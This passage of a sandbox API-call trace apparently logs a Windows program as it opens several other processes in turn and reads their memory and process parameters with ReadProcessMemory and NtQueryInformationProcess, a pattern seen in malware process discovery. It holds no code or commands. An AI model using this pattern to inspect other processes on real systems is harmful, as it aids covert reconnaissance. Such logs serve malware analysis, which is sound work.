lpBuffer=0x20abc27cb20*, lpNumberOfBytesRead=0x0) returned 1 [0178.714] free (_Block=0x20abc27cb20) [0178.719] CloseHandle (hObject=0x330) returned 1 [0178.720] _ui64tow_s (in: _Value=0x538, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="1336") returned 0x0 [0178.723] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="1336") returned 4 [0178.724] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0178.724] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0178.737] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x538) returned 0x330 [0178.737] GetLastError () returned 0x0 [0178.738] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0178.738] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4bc399b018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0178.738] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0178.738] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x191c2351bf0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0178.738] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x191c23518c8, lpBuffer=0x2dc237c1c0, nSize=0x3e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0178.739] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0178.740] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0178.740] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4bc399b020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0178.740] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x191c23512b0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0178.741] malloc (_Size=0x18) returned 0x20abc281ac0 [0178.741] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x191c2351906, lpBuffer=0x20abc281ac0, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc281ac0*, lpNumberOfBytesRead=0x0) returned 1 [0178.741] free (_Block=0x20abc281ac0) [0178.749] CloseHandle (hObject=0x330) returned 1 [0178.750] _ui64tow_s (in: _Value=0x604, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="1540") returned 0x0 [0178.754] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="1540") returned 4 [0178.755] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0178.755] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0178.768] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x604) returned 0x330 [0178.768] GetLastError () returned 0x0 [0178.768] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0178.768] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0xdc7c19c018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0178.769] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0178.769] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x294a79034a0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0178.769] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x294a79030e8, lpBuffer=0x2dc237c1c0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0178.770] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0178.771] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0178.771] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0xdc7c19c020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0178.771] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x294a7902ad0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0178.771] malloc (_Size=0x64) returned 0x20abc2807d0 [0178.771] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x294a7903134, lpBuffer=0x20abc2807d0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2807d0*, lpNumberOfBytesRead=0x0) returned 1 [0178.772] free (_Block=0x20abc2807d0) [0178.773] CloseHandle (hObject=0x330) returned 1 [0178.774] _ui64tow_s (in: _Value=0x644, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="1604") returned 0x0 [0178.777] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="1604") returned 4 [0178.778] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0178.778] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0178.802] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x644) returned 0x330 [0178.802] GetLastError () returned 0x0 [0178.803] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0178.803] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0xb845380018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0178.803] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0178.803] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2498de033e0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0178.803] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2498de03048, lpBuffer=0x2dc237c1c0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0178.805] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0178.806] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0178.806] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0xb845380020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0178.806] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2498de02a30, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0178.806] malloc (_Size=0x5a) returned 0x20abc2807d0 [0178.806] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2498de03088, lpBuffer=0x20abc2807d0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2807d0*, lpNumberOfBytesRead=0x0) returned 1 [0178.807] free (_Block=0x20abc2807d0) [0178.807] CloseHandle (hObject=0x330) returned 1 [0178.808] _ui64tow_s (in: _Value=0x778, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="1912") returned 0x0 [0178.811] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="1912") returned 4 [0178.812] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0178.812] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0178.825] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x778) returned 0x330 [0178.825] GetLastError () returned 0x0 [0178.826] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0178.826] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x3ba018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0178.826] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0178.826] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x511c50, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0178.826] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5118e8, lpBuffer=0x2dc237c1c0, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0178.827] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0178.828] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0178.828] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x3ba020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0178.828] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5112d0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0178.828] malloc (_Size=0x32) returned 0x20abc281350 [0178.828] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x511918, lpBuffer=0x20abc281350, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc281350*, lpNumberOfBytesRead=0x0) returned 1 [0178.829] free (_Block=0x20abc281350) [0178.830] CloseHandle (hObject=0x330) returned 1 [0178.830] _ui64tow_s (in: _Value=0x7fc, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="2044") returned 0x0 [0178.833] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="2044") returned 4 [0178.834] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0178.834] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0178.860] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7fc) returned 0x330 [0178.860] GetLastError () returned 0x0 [0178.861] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0178.861] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0xc51ffb018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0178.861] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0178.861] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x18d4c0e1c70, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0178.861] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x18d4c0e18c8, lpBuffer=0x2dc237c1c0, nSize=0x44, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0178.862] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0178.863] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0178.863] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0xc51ffb020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0178.863] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x18d4c0e12b0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0178.864] malloc (_Size=0x6c) returned 0x20abc282120 [0178.864] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x18d4c0e190c, lpBuffer=0x20abc282120, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0178.865] free (_Block=0x20abc282120) [0178.866] CloseHandle (hObject=0x330) returned 1 [0178.867] _ui64tow_s (in: _Value=0x8b4, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="2228") returned 0x0 [0178.871] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="2228") returned 4 [0178.872] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0178.872] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0178.886] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8b4) returned 0x330 [0178.886] GetLastError () returned 0x0 [0178.887] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0178.887] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x9a9d57f018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0178.887] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0178.887] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x20f49003780, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0178.887] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x20f490032e8, lpBuffer=0x2dc237c1c0, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0178.888] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0178.889] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0178.889] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x9a9d57f020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0178.889] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x20f49002c60, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0178.890] malloc (_Size=0x118) returned 0x20abc2867b0 [0178.890] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x20f49003388, lpBuffer=0x20abc2867b0, nSize=0x116, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2867b0*, lpNumberOfBytesRead=0x0) returned 1 [0178.890] free (_Block=0x20abc2867b0) [0178.892] CloseHandle (hObject=0x330) returned 1 [0178.893] _ui64tow_s (in: _Value=0x92c, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="2348") returned 0x0 [0178.896] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="2348") returned 4 [0178.897] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0178.897] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0178.911] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x92c) returned 0x330 [0178.911] GetLastError () returned 0x0 [0178.912] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0178.912] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0xbecf55d018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0178.952] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0179.013] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1df67f03730, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0179.147] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1df67f032b4, lpBuffer=0x2dc237c1c0, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0179.302] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0179.316] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0179.316] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0xbecf55d020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0179.319] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1df67f02c20, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0179.323] malloc (_Size=0x11a) returned 0x20abc2867b0 [0179.323] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1df67f0334a, lpBuffer=0x20abc2867b0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2867b0*, lpNumberOfBytesRead=0x0) returned 1 [0179.388] free (_Block=0x20abc2867b0) [0179.388] CloseHandle (hObject=0x330) returned 1 [0179.389] _ui64tow_s (in: _Value=0x828, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="2088") returned 0x0 [0179.392] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="2088") returned 4 [0179.393] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0179.393] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0179.406] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x828) returned 0x330 [0179.406] GetLastError () returned 0x0 [0179.407] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0179.407] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x6cb0f5b018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0179.407] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0179.407] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1c9d5603490, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0179.407] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1c9d56030e8, lpBuffer=0x2dc237c1c0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0179.408] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0179.409] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: 